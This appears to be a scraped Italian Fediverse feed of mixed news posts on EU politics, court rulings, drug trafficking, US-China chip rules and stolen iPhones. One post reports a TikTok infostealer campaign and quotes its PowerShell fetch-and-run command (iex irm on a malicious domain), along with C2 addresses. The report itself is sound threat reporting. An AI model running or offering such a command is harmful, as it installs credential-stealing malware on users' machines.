Difesa europea, il nodo politico che frena l’integrazione. L’analisi di Caruso
@Notizie dall'Italia e dal mondo
Nel contesto di crescente instabilità geopolitica, l’Unione europea sta accelerando il processo di rafforzamento della propria architettura di difesa collettiva. Lo scorso 15 maggio, durante la riunione del Comitato militare dell’Ue (Eumc) a livello di capi di Stato
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June PPI Meetings
Ahoy Pirates,
Our next PPI board meeting will take place on 03.06.2025 at 14:00 UTC / 16:00 CEST.
Prior to that meeting we will hold a SCENE and SCUBA working groups meeting in the same Jitsi room a week later, 10.06.2025 at 19:00 UTC / 21:00 CEST.
All official PPI proceedings, Board meetings included, are open to the public. Feel free to stop by. We’ll be happy to have you.
Where:jitsi.pirati.cz/PPI-BoardAgenda: etherpad.pp-international.net/…
All of our meetings are posted to our calendar: pp-international.net/calendar/
We look forward to seeing visitors.
Thank you for your support,
The Board of PPI
Un nuovo modello di lavoro: la tavola rotonda del Parlamento Europeo in collaborazione con TPI
@Politica interna, europea e internazionale
Venerdì 23 maggio, alle ore 11,30, presso Esperienza Europa – David Sassoli il Parlamento Europeo, in collaborazione con The Post Internazionale (TPI), organizza la tavola rotonda “Un nuovo modello di lavoro: la direttiva UE per stage di qualità“. Un
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Hai seguito un bel tutorial su TikTok e non sei stato attento? Bravo, ti sei beccato un malware!
In un preoccupante segnale dell’evoluzione delle tattiche cybercriminali, i threat actor stanno ora sfruttando la popolarità di TikTok come canale per la distribuzione di malware avanzati progettati per il furto di informazioni. L’ultima campagna in circolazione si concentra sulla diffusione degli infostealer Vidar e StealC, inducendo gli utenti a eseguire comandi PowerShell dannosi con il pretesto di attivare software legittimi o sbloccare funzionalità premium in applicazioni come Windows OS, Microsoft Office, CapCut e Spotify.
A differenza dei metodi tradizionali — come i siti web compromessi o le email di phishing — questo vettore d’attacco si basa esclusivamente su tecniche di ingegneria sociale veicolate tramite video. I criminali informatici realizzano video anonimi, spesso generati con strumenti di intelligenza artificiale, che guidano passo dopo passo le vittime nell’installazione inconsapevole del malware sui propri dispositivi.
Questo approccio è particolarmente insidioso perché non lascia alcun codice dannoso sulla piattaforma stessa che le soluzioni di sicurezza possano rilevare e tutti i contenuti fruibili vengono forniti in modo visivo e uditivo. I ricercatori di Trend Micro hanno identificato diversi account TikTok coinvolti in questa campagna, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771.
La loro indagine ha rivelato che alcuni video hanno ottenuto un notevole successo: uno in particolare ha ottenuto oltre 20.000 “Mi piace”, 100 commenti e ha raggiunto circa 500.000 visualizzazioni. Questa ampia diffusione dimostra il potenziale impatto della campagna e sottolinea come la portata algoritmica di TikTok possa amplificare contenuti dannosi.
Le conseguenze per le vittime sono gravi, poiché questi ladri di informazioni possono sottrarre dati sensibili, rubare credenziali e potenzialmente compromettere i sistemi aziendali. Una volta installato, il malware stabilisce una comunicazione con i server di comando e controllo, consentendo agli aggressori di raccogliere informazioni preziose dai dispositivi compromessi.
Meccanismo di infezione e analisi tecnica
La catena di infezione inizia quando gli utenti seguono le istruzioni video per aprire PowerShell (premendo Windows+R e digitando “powershell”) e quindi eseguono un comando simile a: iex (irm https://allaivo[.]me/spotify). Questo comando dall’aspetto innocuo scarica ed esegue uno script remoto (SHA256: b8d9821a478f1a377095867aeb2038c464cc59ed31a4c7413ff768f2e14d3886) che avvia il processo di infezione.
Una volta eseguito, lo script crea delle directory nascoste nelle cartelle APPDATA e LOCALAPPDATA dell’utente, quindi aggiunge questi percorsi all’elenco di esclusione di Windows Defender: una sofisticata tecnica di elusione che aiuta il malware a evitare il rilevamento. Il malware procede quindi a scaricare ulteriori payload, tra cui i ladri di informazioni Vidar e StealC.
Queste varianti di malware sono particolarmente pericolose perché prendono di mira informazioni sensibili, tra cui password salvate, portafogli di criptovalute e cookie di autenticazione. Dopo l’installazione, il malware si connette a vari server di comando e controllo, tra cui servizi legittimi utilizzati in modo improprio.
Vidar, ad esempio, utilizza i profili Steam (hxxps://steamcommunity[.]com/profiles/76561199846773220) e i canali Telegram (hxxps://t[.]me/v00rd) come “Dead Drop Resolver” per nascondere la sua effettiva infrastruttura C&C, una tecnica che rende il tracciamento e l’interruzione più difficili. Ciò che rende questa campagna particolarmente efficace è il modo in cui fonde l’ingegneria sociale con lo sfruttamento tecnico.
Presentandosi come utili tutorial per accedere alle funzionalità premium dei software più diffusi, i video creano fiducia negli spettatori, che poi eseguono volentieri i comandi che compromettono i loro sistemi. Ciò rappresenta un’evoluzione significativa negli attacchi basati sui social media, dimostrando come gli autori delle minacce continuino ad adattare le proprie tattiche per sfruttare il comportamento degli utenti ed eludere i controlli di sicurezza tradizionali.
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Sentenza 69/2025 della Consulta: “Occasione mancata per eliminare la discriminazione contro l’accesso delle donne single alla PMA”
La Corte ha, comunque, precisato che un intervento del Parlamento non sarebbe incostituzionale.
Continueremo a lottare per superare questa discriminazione: per questo rilanciamo la nostra petizione al Parlamento per consentire a tutte le donne di accedere alla PMA.
Con la sentenza n. 69 pubblicata oggi, la Corte Costituzionale ha dichiarato non fondata la questione di legittimità costituzionale dell’articolo 5 della legge 40 del 2004, che attualmente vieta alle donne singole l’accesso alle tecniche di procreazione medicalmente assistita (PMA) in Italia. Allo stesso tempo, i giudici costituzionali hanno chiarito che una modifica della legge da parte del Parlamento, per includere anche le donne singole, non violerebbe la Costituzione. In altre parole, non ci sono ostacoli costituzionali a un’eventuale estensione dell’accesso alla PMA anche a famiglie monoparentali.
“Prendiamo atto che la Corte costituzionale, non ha accolto la questione di legittimità costituzionale sollevata dal tribunale di Firenze. Si tratta di un’occasione mancata per superare la discriminazione delle donne single nell’accesso alla PMA. È, invece, positivo che la Consulta abbia ribadito nelle motivazioni in diritto che non sussistono ‘impedimenti costituzionali’ a una eventuale estensione, da parte del legislatore, dell’accesso alla procreazione medicalmente assistita anche a nuclei familiari diversi da quelli attualmente indicati, e nello specifico alla famiglia monoparentale. Anche su questo tema, come sul fine vita, la palla passa dunque al Parlamento. Oggi perciò rilanciamo la petizione al legislatore affinché intervenga sulla legge 40 modificando l’articolo 5 per permettere l’accesso alle tecniche di fecondazione assistita a coloro che ne hanno bisogno per fare famiglia. Anche alla luce della sentenza 68, sempre di oggi, giudizio in cui avevamo depositato un amicus curiae, che dichiara incostituzionale il divieto di riconoscimento del figlio da parte della madre intenzionale nel caso di coppia di donne che ha effettuato la PMA all’estero, dove questa tecnica è legale”, dichiara Filomena Gallo, avvocata che ha coordinato il team legale di Evita, ricorrente principale, nonché quelli di Serena e dell’Associazione Luca Coscioni che sono intervenuti nel giudizio principale, e anche segretaria nazionale di quest’ultima.
“Sono dispiaciuta per il mancato accoglimento della questione. È un’occasione mancata per affermare con chiarezza che il desiderio di genitorialità non può essere filtrato da pregiudizi, né condizionato da schemi ormai superati. Ora spetta al Parlamento dimostrare se è in grado di ascoltare la realtà, quella fatta di donne che scelgono con consapevolezza di diventare madri, che costruiscono relazioni basate sull’amore e sulla responsabilità, anche fuori dal perimetro della famiglia tradizionale” commenta Evita, 40 enne torinese, ricorrente nel procedimento davanti al Tribunale di Firenze che aveva rimesso la questione alla Corte costituzionale.
“Negli scorsi mesi abbiamo lanciato una petizione al Parlamento affinché modificasse l’articolo 5 della legge 40 del 2004 rendendo possibile, anche per le donne singole, accedere alle tecniche di PMA. Dopo questa pronuncia della Consulta, e in linea con il suo richiamo alla discrezionalità legislativa, torniamo con decisione a chiedere che il tema venga messo subito nel calendario dei lavori del Parlamento”, commenta Francesca Re, avvocata, consigliera generale dell’Associazione Luca Coscioni e coordinatrice della campagna PMA per tutte.
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Sulle spallucce degli altri.
Una parte dell'Italia di oggi si regge sulle spallucce di chi non ha a cuore diritti e giustizia.
oggi su RadioTre Fahrenheit: dialogo sul numero de "La scuola delle cose" dedicato alle scritture di ricerca, sperimentali, complesse
oggi, alle 17:30, Rai RadioTre Fahrenheit: dialogo su "La scuola delle cose" (Lyceum/Mudima) n. 19 - SCRITTURA DI RICERCA
slowforward.net/2025/05/22/22m…
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Trashed Sound System Lives to Rock another Day
Plenty of consumer goods, from passenger vehicles to toys to electronics, get tossed out prematurely for all kinds of reasons. Repairable damage, market trends, planned obsolescence, and bad design can all lead to an early sunset on something that might still have some useful life in it. This was certainly the case for a sound system that [Bill] found — despite a set of good speakers, the poor design of the hardware combined with some damage was enough for the owner to toss it. But [Bill] took up the challenge to get it back in working order again.Inside the DIY control unit.
The main problem with this unit is that of design. It relies on a remote control to turn it on and operate everything, and if that breaks or is lost, the entire unit won’t even power on. Tracing the remote back to the control board reveals a 15-pin connector, and some other audio sleuths online have a few ways of using this port to control the system without the remote.
[Bill] found a few mistakes that needed to be corrected, and was eventually able to get an ESP8266 (and eventually an ESP32) to control the unit thanks largely to the fact that it communicates using a slightly modified I2C protocol.
There were a few pieces of physical damage to correct, too. First, the AC power cable had been cut off which was simple enough to replace, but [Bill] also found that a power connector inside the unit was loose as well. With that taken care of he has a perfectly functional and remarkably inexpensive sound system ready for movies or music. There are some other options available for getting a set of speakers blasting tunes again as well, like building the amplifier for them from scratch from the get-go.
USA: Guai ai paesi che usano i chip di Huawei! Ma sotto pressione della Cina cambiano idea
Solo poche settimane dopo che Stati Uniti e Cina hanno tentato di allentare le tensioni commerciali, i rapporti tra i due paesi si sono nuovamente inaspriti, questa volta a causa dei semiconduttori.
Il Ministero del Commercio cinese ha minacciato di intraprendere azioni legali contro qualsiasi azienda o Paese che rispetti le restrizioni sulle esportazioni di chip AI di Huawei. Lo ha riportato Bloomberg .
Il motivo sono le nuove direttive emanate dall’amministrazione Donald Trump il 13 maggio, che hanno ricordato che l’utilizzo dei chip AI Huawei Ascend “in qualsiasi parte del mondo” è considerato una violazione delle normative statunitensi sull’esportazione.
Le linee guida giungono mentre gli Stati Uniti stanno abrogando le normative sull’intelligenza artificiale introdotte sotto la presidenza di Joe Biden.
All’inizio della settimana, la Cina ha affermato che le azioni degli Stati Uniti stavano compromettendo gli accordi raggiunti nei colloqui di Ginevra volti a stabilizzare le relazioni. Pechino ha visto le nuove direttive come un gesto politico che viola lo spirito della riconciliazione raggiunta e ha accusato gli Stati Uniti di ostacolare i progressi nei colloqui.
A seguito delle critiche provenienti dalla Cina, il Dipartimento del Commercio degli Stati Uniti ha modificato la formulazione del documento, rimuovendo la parte più restrittiva, ovvero il riferimento a “ovunque nel mondo”, ha riportato Bloomberg.
Il rischio, ricorda Pechino, è che “questa pratica di utilizzare il protezionismo unilaterale per contenere e isolare altri paesi finirà per minare la competitività dell’industria statunitense, e il risultato non può che essere quello di darsi la zappa sui piedi”.
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Le motivazioni della sentenza di condanna di Delmastro: sapeva che le notizie erano riservate
@Giornalismo e disordine informativo
articolo21.org/2025/05/le-moti…
Le quarantadue pagine di motivazioni con le quali il Tribunale di Roma argomenta la condanna in
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OpenAI con io Products minaccia Apple?
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
OpenAI acquisterà io Products, la startup dell'ex super designer di Apple Jony Ive. Sam Altman assicura che il loro primo prodotto non farà sparire lo smartphone eppure c'è chi vede questa nuova avventura come "un cattivo presagio" per il produttore di
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@DataKnightmare @Informa Pirata
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STUPEFACENTI DALL'ALBANIA ALL'ITALIA. Tra le fonti di prova le chat criptate della piattaforma SKYECC
Le autorità in Italia e in Albania hanno inferto un duro colpo a tre gruppi di criminalità organizzata legati nel traffico di droga su larga scala e nel riciclaggio di denaro. Durante una giornata di azione congiunta, i mandati di arresto sono stati emessi contro 52 sospetti, compresi gli individui che si ritiene siano ai massimi livelli nelle gerarchie dei gruppi. Eurojust ha sostenuto la cooperazione tra le autorità italiane e albanesi creando un team di indagine congiunto (JIT/SIC Squadra Investigativa Comune). Durante il giorno dell'azione, le autorità di entrambi i paesi hanno sequestrato attività per un valore di almeno diversi milioni di euro, Compresi appartamenti e aziende, nonché vari veicoli di lusso. Sono state anche sequestrate grandi quantità di denaro e quantità di cocaina ed eroina.
Le reti criminali erano coinvolte nei pagamenti, spesso in contanti, di quasi 5 milioni di euro e il traffico di almeno 1 800 chili di cocaina ed eroina.
La Direzione Investigativa Antimafia di Bari e le Autorità Albanesi, con l’ausilio di Interpol, dell’Ufficio dell’Esperto per la Sicurezza di Tirana e della Polizia Albanese, nell’ambito di una Squadra Investigativa Comune, hanno eseguito, su disposizione della Direzione Distrettuale Antimafia di Bari e la Procura Speciale Anticorruzione e Criminalità Organizzata di Tirana, con il Coordinamento di Eurojust (L’Aja) e della Direzione Nazionale Antimafia ed Antiterrorismo di Roma, due ordinanze di custodia cautelare, emesse dal Giudice per le Indagini Preliminari di Bari e dal Giudice presso il Tribunale Speciale di Primo Grado Anticorruzione e Criminalità Organizzata di Tirana nei confronti, complessivamente, di 52 persone responsabili a vario titolo, di traffico internazionale di ingenti quantitativi di sostanze stupefacenti, riciclaggio e abuso d’ufficio.
I provvedimenti cautelari, emessi nell’ambito dell’Operazione URA a fronte delle indagini effettuate dalla DIA di Bari tra settembre 2021 e giugno 2022, hanno consentito di raccogliere gravi indizi di colpevolezza a carico degli indagati, albanesi ed italiani, appartenenti in Italia a due associazioni criminali – riconosciute tali dal G.I.P. di Bari – stanziate nello stesso capoluogo pugliese (accertamento compiuto nella fase delle indagini preliminari che necessita della successiva verifica processuale nel contraddittorio con la difesa) nonché, in Albania, facenti parte di un potente gruppo criminale organizzato – riconosciuto tale dal Giudice di Tirana – stanziato a Durazzo.
La DIA, relativamente agli ingenti quantitativi di eroina e cocaina movimentati, a decorrere dal 2016, tra i Balcani, il Nord Europa, il Sud America e la Puglia, ha documentato l’esistenza di una comunanza d’interessi tra il gruppo criminale in Albania, deputato – a livello transnazionale – alla commercializzazione ed al trasferimento dello stupefacente, e le due associazioni criminali operanti a Bari le quali, a loro volta, effettuate le operazioni di “taglio” e confezionamento in panetti, rifornivano all’ingrosso le organizzazioni baresi, brindisine e leccesi interessate a ricevere l’eroina e la cocaina – di qualità – proveniente rispettivamente dalla Turchia e dall’America Latina.
Le complesse indagini, effettuate con intercettazioni telefoniche, ambientali, video-riprese e servizi di osservazione, pedinamento e controllo, avvalorate dall’estrapolazione e dall’analisi delle chat criptate acquisite dalla piattaforma SKYECC, nonché dalle dichiarazioni di tre collaboratori di giustizia (di cui ne è stata accertata la credibilità e l’attendibilità), hanno permesso, tra l’altro, di documentare, in relazione alla sostanza stupefacente inviata a Bari principalmente dall’Albania e dal Nord Europa, innumerevoli rifornimenti (255 chili di eroina “pura” e cocaina “pura”) effettuati tramite corrieri internazionali. Nel medesimo contesto è stato ricostruito un “flusso” ininterrotto di denaro contante dalla Puglia all’Albania, a pagamento dello stupefacente commercializzato all’“ingrosso”, avvenuto tramite autisti di autobus di linea internazionali, le cui illegali transazioni, per un importo complessivo di 4,5 milioni di euro, hanno consentito alle Autorità Albanesi di contestare il reato di riciclaggio.
In tale ambito sono stati inoltre ricostruite: diverse consegne di denaro contante a pagamento della droga, avvenute a Bari, per importi superiori anche a mezzo milione di euro; il trasferimento di oltre 500 mila dollari dall’Albania all’America Latina, versati quale anticipo per l’acquisto di una partita di 500 chili di cocaina spedita da Guayaquil (Ecuador); episodi di abuso d’ufficio verificatisi in territorio albanese.
I riscontri utilizzati per dimostrare l’operatività delle tre associazioni criminali transnazionali hanno riguardato un precedente sequestro di 3 milioni di euro in denaro contante a Durazzo (Albania) nonché i sequestri di stupefacente effettuati, in circostanze diverse: di oltre 30 chili di eroina ed alcuni “laboratori artigianali” adibiti, a Bari e provincia, al taglio e confezionamento della droga in panetti; di 2 tonnellate di cocaina al porto di Rotterdam (Olanda); di 932 chili di cocaina al porto di Gioia Tauro (Reggio Calabria); di 400 chili di Hashish a Noicattaro (Bari).
Novità di questa indagine è rappresentata dall’utilizzo, tra le fonti di prova, delle chat criptate della piattaforma SKYECC, acquisite con Ordini Europei d’Indagine presso il Tribunale di Parigi. I messaggi, una volta decodificati dagli investigatori della Dia di Bari e condivisi con gli Ufficiali della S.P.A.K. di Tirana, sono stati minuziosamente analizzati e incrociati con le altre risultanze d’indagine, consentendo le contestazioni di reato sia alla D.D.A. di Bari che all’Autorità Giudiziaria albanese.
Il G.I.P. del Tribunale di Bari, dott. Francesco Vittorio Rinaldi, accogliendo le risultanze investigative della locale DDA, (allo stato, fatta salva la valutazione nelle fasi successive con il contributo della difesa) ha riconosciuto il “salto di qualità”, soprattutto dal punto di vista dell’utilizzo di strumenti tecnologici all’avanguardia, il “know-how” e la “capacità imprenditoriale” dei narcotrafficanti albanesi, capaci di gestire vere e proprie “holding criminali” ed in grado di rifornire gruppi mafiosi egemoni nella città di Bari.
I provvedimenti restrittivi emessi dal Giudice presso il Tribunale di Tirana hanno riguardato, tra gli altri, i vertici di una potente famiglia egemone nella città di Durazzo, un Comandante e un Agente della Polizia albanese, un Avvocato e 6 autisti di autobus di linea internazionale.
Le misure cautelari patrimoniali, (allo stato, salvo ulteriore verifica successiva nella fase decisoria con il contraddittorio con la difesa), hanno riguardato in Italia il sequestro preventivo funzionale alla confisca di beni mobili ed immobili tra i quali 9 appartamenti, 4 Società, 7 conti correnti e 3 autovetture e, in Albania, il sequestro di diversi immobili, 2 Società di costruzioni, 4 ristoranti di lusso, 1 Agenzia Immobiliare, 1 rete Televisiva, il cui valore complessivo è stimato in diversi milioni di euro.
L’esecuzione dell’operazione internazionale è stata resa possibile grazie alla Squadra Investigativa Comune, strumento di cooperazione giudiziaria istituito tra la D.D.A. di Bari, la S.P.A.K. di Tirana ed Eurojust (Organismo che sostiene la cooperazione giudiziaria nella lotta contro le forme gravi di criminalità transnazionale), che ha consentito al personale della DIA di Bari ed alle Autorità Albanesi di effettuare approfondimenti investigativi congiunti, avvalendosi del fondamentale ruolo di coordinamento assicurato dalla Direzione Nazionale Antimafia e Antiterrorismo.
L’operazione si incardina nel più ampio progetto investigativo della DDA di Bari e della SPAK di Tirana volto a contrastare l’incessante traffico internazionale di cocaina ed eroina, gestito dalle organizzazioni criminali albanesi. In tale contesto, in esito alle precedenti operazioni “Shefi”, “Kulmi” e “Shpirti”, tra il 2018 e il 2021 la DIA di Bari ha già dato esecuzione complessivamente a 118 misure cautelari, al sequestro di beni mobili ed immobili per diversi milioni di euro e al rinvenimento di oltre sei tonnellate di droga tra marijuana, cocaina e hashish, permettendo, nei vari gradi di giudizio, di comminare pene, per ciascun imputato, fino a 20 anni di reclusione.
L'operazione è stata eseguita su richiesta e da:
Italia: Ufficio della pubblica procuratore Bari - Direzione anti-Mafia distrettuale; Direzione Investigativa Antimafia di Bari, con il sostegno dell'ufficio dell'esperto di sicurezza presso l'ambasciata italiana di Tirana Albania: speciale procuratore anticorruzione e procura del crimine organizzato (SPAK) di Tirana; Polizia albanese
Il rischio che una risata seppellisca Donald Trump
@Giornalismo e disordine informativo
articolo21.org/2025/05/il-risc…
L’agguato politico è diventato parte integrante dello stile “diplomatico” di Donald Trump. Inaugurato lo scorso 28 febbraio con il presidente ucraino Zelensky, ieri questa sciagurata prassi è stata riconfermata in
Giornalismo e disordine informativo reshared this.
A quali rischi cyber sono esposti i minori e cosa devono sapere i genitori
@Informatica (Italy e non Italy 😁)
Un rapporto della Polizia Postale per la Sicurezza cibernetica rilancia il tema della sicurezza dei minori, esposti a cyber rischi sempre più sofisticati e numerosi. Cosa devono sapere e cosa devono fare i genitori
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Tanto debito, poca crescita. L’Italia ancora preda del disastro Superbonus
@Politica interna, europea e internazionale
L’Italia e l’Europa hanno smesso di crescere. Un dato noto, ribadito dalle nuove stime di primavera della Commissione europea, che ha ritoccato a ribasso le previsioni per l’eurozona dell’anno in corso, dall’1,3% di novembre all’attuale 0,9%. Riviste in
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Leonardo si espande ancora e punta agli algoritmi predittivi made in Usa
@Notizie dall'Italia e dal mondo
Dopo la joint venture con Rheinmetall per lo sviluppo di carri armati, l’accordo con Baykar per la produzione di droni, la progettazione del caccia di sesta generazione Gcap insieme a Bae Systems e Mitsubishi e l’accordo sui satelliti con Thales, Leonardo continua
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freezonemagazine.com/news/pave…
In libreria dal 29 Maggio 2025 readerforblind pubblica Crudeltà, il romanzo più celebre di Pavel Nilin, autore e giornalista sovietico che per anni lavorò come funzionario di polizia nelle regioni più remote della Siberia. Scritto nel 1956 durante il disgelo kruscioviano e ambientato nei primi anni dopo la rivoluzione russa, Crudeltà è un poliziesco […]
L'articolo Pavel Nilin – Crudeltà proviene
In libreria dal
Dove finiscono gli iPhone rubati? A Shenzhen c’è una torre che li rivende a pezzi
A Shenzhen, in Cina, c’è un edificio anonimo chiamato Feiyang Times, una torre grigio-marrone con colonne adornate con striscioni di propaganda. A prima vista non sembra niente di speciale, se non fosse per il soprannome che gli inglesi chiamano così su Internet: “la costruzione degli iPhone rubati”. Al terzo e al quarto piano si svolge un vivace mercato notturno di iPhone provenienti dall’Europa e dagli Stati Uniti: molti sono usati, ma alcuni, a quanto pare, erano lì contro la loro volontà.
Ed è qui che entrano in gioco gli smartphone restituiti dagli utenti occidentali in seguito a un cambio di modello, così come i dispositivi con un passato discutibile. I messaggi sui forum, sui social network e persino quelli delle vittime stesse puntano sempre più spesso allo stesso indirizzo: Huachiangbei, un distretto di Shenzhen che è diventato il fulcro della catena di rivendita di prodotti elettronici. La catena inizia con i furti in Occidente, passa per Hong Kong e termina nei negozi dell’emisfero australe.
Ad esempio, l’imprenditore londinese Sam Amrani ha perso il suo iPhone 15 Pro proprio per strada: due uomini in bicicletta elettrica lo hanno fermato all’istante e gli hanno strappato il telefono dalle mani. Una settimana dopo, il dispositivo è stato avvistato a Hong Kong e poi a Shenzhen. Sam ha pubblicato la storia su LinkedIn e ha scoperto di non essere l’unico la cui attrezzatura era stata spedita in Cina.
I venditori del mercato di Feiyang affermano che a Shenzhen c’è un acquirente per praticamente ogni parte di uno smartphone, dallo schermo agli elementi in rame. Anche i dispositivi bloccati vengono utilizzati come pezzi di ricambio. Particolarmente apprezzati sono gli iPhone provenienti dagli Stati Uniti: sono più economici a causa delle restrizioni di rete e consentono l’uso degli app store globali. Nell’area vendita si possono incontrare clienti provenienti da Pakistan, Libia, Hong Kong. Qualcuno sta cercando lotti da 200-300 dispositivi. Alcune persone hanno solo schermi e chip. Esiste addirittura una richiesta di custodie e plastica, che vengono poi rifuse.
A quanto pare, la maggior parte degli iPhone arriva a Shenzhen passando per Hong Kong, un porto franco doganale. L’edificio industriale su Hung To Road è un alveare di attività all’ingrosso, con decine di aziende che vendono dispositivi all’ingrosso, a volte contrassegnati con la dicitura “iCloud bloccato”. Molti telefoni sono già nelle mani di rivenditori provenienti da Turchia, Cina e Filippine. Le aste si svolgono su WhatsApp, WeChat e persino Facebook.
Chi ha a che fare con questi lotti sostiene di non riuscire a sbloccare i dispositivi, ma anche i telefoni “bloccati” possono essere venduti a prezzi vantaggiosi per i pezzi di ricambio. Sebbene le vittime ricevano spesso messaggi da acquirenti in Cina che chiedono o li convincono a rimuovere il blocco di attivazione. A volte minacciano direttamente.
La direzione dell’edificio del Feiyang Times ha rifiutato di rilasciare dichiarazioni. L’ufficio ha riferito che i venditori lavorano come privati e sono responsabili personalmente dell’assortimento. La polizia di Hong Kong ha dichiarato che avrebbe agito nel rispetto della legge se ne avesse avuto i motivi. Il governo di Shenzhen non ha risposto alla richiesta.
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Mario Riccio interviene all’incontro “Fine vita e diritto di scegliere” a Bergamo
Il 21 maggio 2025, dalle 15:00 alle 18:00, presso la Sala Viterbi del Palazzo della Provincia di Bergamo (via Torquato Tasso 8), si terrà il convegno “Fine vita e diritto di scegliere”, dedicato a eutanasia, disposizioni anticipate di trattamento e suicidio medicalmente assistito, con un approfondimento sul quadro giuridico e costituzionale attuale.
Tra i relatori parteciperà anche il Dott. Mario Riccio, anestesista e rianimatore, Consigliere Generale dell’Associazione Luca Coscioni, che interverrà con una relazione dal titolo “Morte medicalmente assistita, un dovere morale per il medico moderno”.
Il programma prevede inoltre gli interventi di:
- Dott. Ilio Mannucci Pacini – Presidente Sezione Terza Penale, Tribunale di Milano
“Il caso Cappato – DJ Fabo: il processo e le sentenze” - Prof.ssa Benedetta Liberali – Professoressa associata di Diritto costituzionale, Università degli Studi di Milano
“L’aiuto al suicidio a una svolta? Fra Corte costituzionale e inerzia del legislatore” - Avv. Simona Debora Giannetti – Avvocata, Giurista per le libertà, Associazione Luca Coscioni
“DAT, eutanasia e suicidio medicalmente assistito: la legislazione vigente e le possibili svolte” - Dott.ssa Sonia Ambroset – Psicologa, esperta in cure palliative
“Cure palliative e morte medicalmente assistita: quale relazione?”
Modera: Avv. Eva Carminati, Foro di Bergamo – Responsabile eventi formativi APIEFFE e Consigliera dell’Ordine degli Avvocati di Bergamo.
L’evento è gratuito e in fase di accreditamento presso il Consiglio dell’Ordine degli Avvocati di Bergamo.
L'articolo Mario Riccio interviene all’incontro “Fine vita e diritto di scegliere” a Bergamo proviene da Associazione Luca Coscioni.
sprawl dot it
in reply to Lista Referendum e Democrazia • • •lastampa.it/cronaca/2025/05/21…
Bimbo curato solo con l’omeopatia e morto di polmonite a 14 mesi: condannati mamma e papà
Lorenza Rapini (La Stampa)